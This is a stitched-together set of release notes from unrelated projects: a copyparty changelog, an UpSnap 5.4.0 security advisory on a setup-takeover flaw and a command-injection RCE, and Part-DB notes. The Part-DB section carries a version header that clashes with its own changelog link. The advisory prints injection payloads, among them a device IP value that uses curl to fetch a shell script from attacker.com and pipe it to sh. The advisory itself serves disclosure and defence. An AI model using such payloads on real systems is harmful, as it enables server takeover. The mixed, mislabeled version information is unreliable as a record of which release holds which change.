• read-only demo server at https://a.ocv.me/pub/demo/
• docker image ╱ similar software ╱ client testbed

there is a discord server with an @everyone in case of future important updates, such as vulnerabilities (most recently 2026-03-08)

recent important news

• v1.20.9 (2026-02-25) fixed CVE-2026-27948 (XSS)

🧪 new features

• #1463 opds: improved compatibility with various clients (thx @kamaeff!) 9068ec6
• #1485 users with read-access can now create get-only shares (thx @Scotsguy!) 0bb80e9
• #1466 support the s6 service notification protocol (thx @mobin-2008!) 8c201b8 ca40647
• download-as-zip/tar: the toplevel folder can be renamed with url-param &name=foo or entirely removed with &name cc5420a
• #1487 option to generate music spectrograms with logarithmic frequency scale (thx @9hax!) 83dc20f
• option to set custom name/path for ffmpeg/ffprobe binaries 5e806ec
• #1489 audio playback of mka files

🩹 bugfixes

• #1480 #1482 fix get-only shares not expiring if the creator is removed (thx @celinke97 and @Scotsguy!) 3b53a22
• #1474 toggling between cropped/fullsize coverart for music didn't work 926c6e8
• #1470 files from the year 30828 would break file listing 27031f7
• #1494 fix js-crash when dragging a pic from the gallery out of the browser (thx @icxes!) 7d81b9e
• "fancy markdown editor" didn't work on phones 6183540
• improve signal handling f4f97b6
  • if I messed something up then --sig-thr or send 7x sigterm

🔧 other changes

• docker: the arm32 build of the iv image has graduated 6e75faa
  • copyparty/iv is now only available for i386 / x86_64 / aarch64
• docker: rawpy is no longer bundled; now using libraw directly 348b4bb
  • creating thumbnails of .raw photos is now MUCH slower but quality is also much better
• partyfuse: switch to mfusepy; adds fuse3 support and improves performance b2401ff
• additional advisory tiers for use with the vulnerability-checker 4e9ad78
• clarify behavior of xvol regarding permissions e327183
• packaging/docs:
  • #1479 freebsd: fix deps in rc.d (thx @Kansattica!) f432ef6
  • #1458 macos docs (thx @ilotoki0804!) d7eb556

🌠 fun facts

• there will be a tiny handful of copyparty stickers at dokomi this weekend

💾 what to download?

• except for u2c.exe, all of the options above are mostly equivalent
• the zip and tar.gz files below are just source code
• python packages are available at PyPI

New Setup Process

GHSA-w4jr-728f-5jhq

What changed

The initial setup process has been changed. Instead of a built-in multi-step wizard, UpSnap now directs you to create your first superuser account via the server console logs, which contain a one-time setup link generated by PocketBase.

Once you've created the superuser using that link, return to the UpSnap welcome page and click Done to continue.

Why this was necessary

In versions prior to 5.4.0, the setup wizard allowed anyone with network access to register the first superuser account if they reached the setup page before the legitimate administrator. This meant that on a publicly reachable instance, an attacker could take ownership of the application before the real admin had a chance to complete the setup.

By moving account creation out-of-band to the server console, only someone with access to the server logs (i.e. the administrator) can complete the initial setup.

RCE via Device IP and MAC Address Injection

GHSA-6mc7-6948-w5h4

What was the issue

UpSnap allows setting custom shell commands for waking and shutting down devices. These commands support {{ DEVICE_IP }} and {{ DEVICE_MAC }} placeholders, which are replaced with the device's actual IP and MAC values before being executed on the server.

In versions prior to 5.4.0, these values were only changed by removing spaces before being substituted into the shell command. An attacker with permission to edit a device could set a malicious IP or MAC field, for example:

IP: 127.0.0.1;curl${IFS}http://attacker.com/shell.sh|sh
MAC: 00:00:00:00:00:00&&id

When the device was woken or shut down, the injected commands would execute on the server with the same privileges as UpSnap itself.

What was fixed

1. Backend: Before substituting {{ DEVICE_IP }} and {{ DEVICE_MAC }} into any shell command, UpSnap additionally validates both values using Go's standard net.ParseIP and net.ParseMAC. If a value somehow reaches this point in an invalid state, the command is rejected and an error is returned instead of executing.

2. Database: A new migration adds regex constraints to the ip and mac fields in the PocketBase schema (^((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}$ for IP, ^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$ for MAC). Any write that bypasses the UI is rejected at the database level.

3. HTML input: The IP and MAC fields in the device form now have pattern attributes that enforce valid formats directly in the browser, preventing malformed values from being submitted in the first place.

Who is affected

Any instance where untrusted users had permission to create or edit devices. Users who are the sole administrator of their own instance and have not shared device-edit access are at lower risk.

Changelog

Bug fixes

• 74633e7: fix: use token based superuser setup (@seriousm4x)
• 43f3f65: fix: validate ip and mac addresses to prevent RCE (@seriousm4x)

Others

• dfaf0ee: build(deps-dev): bump @sveltejs/kit from 2.59.1 to 2.60.1 in /frontend (@dependabot[bot])
• 8b08585: build(deps-dev): bump svelte from 5.55.5 to 5.55.7 in /frontend (@dependabot[bot])
• 92f9e29: update deps (@seriousm4x)

v1.20.15

New features

• Added browser plugin to quickly submit pages from a browser to Part-DB to create parts out of it. As it submits the browser HTML, this allows also for info extraction from pages like ebay, amazon or aliexpress. Plugin is available for Chrome and Firefox
• Added an "unsaved changes" warning, on when a form contains unsaved changes and user tries to navigate away (#1368)
• Changed/Unsaved fields get highlighted with a light blue border in forms
• The discard changes button also now correctly works with rich text editor fields and select fields.

Bug fixes

• Fixed problem with attachment referencing in API (#1370)

Miscellaneous

• Updated dependencies
• Updated translations
• Updated kicad symbols

Full Changelog: v2.11.1...v2.12.0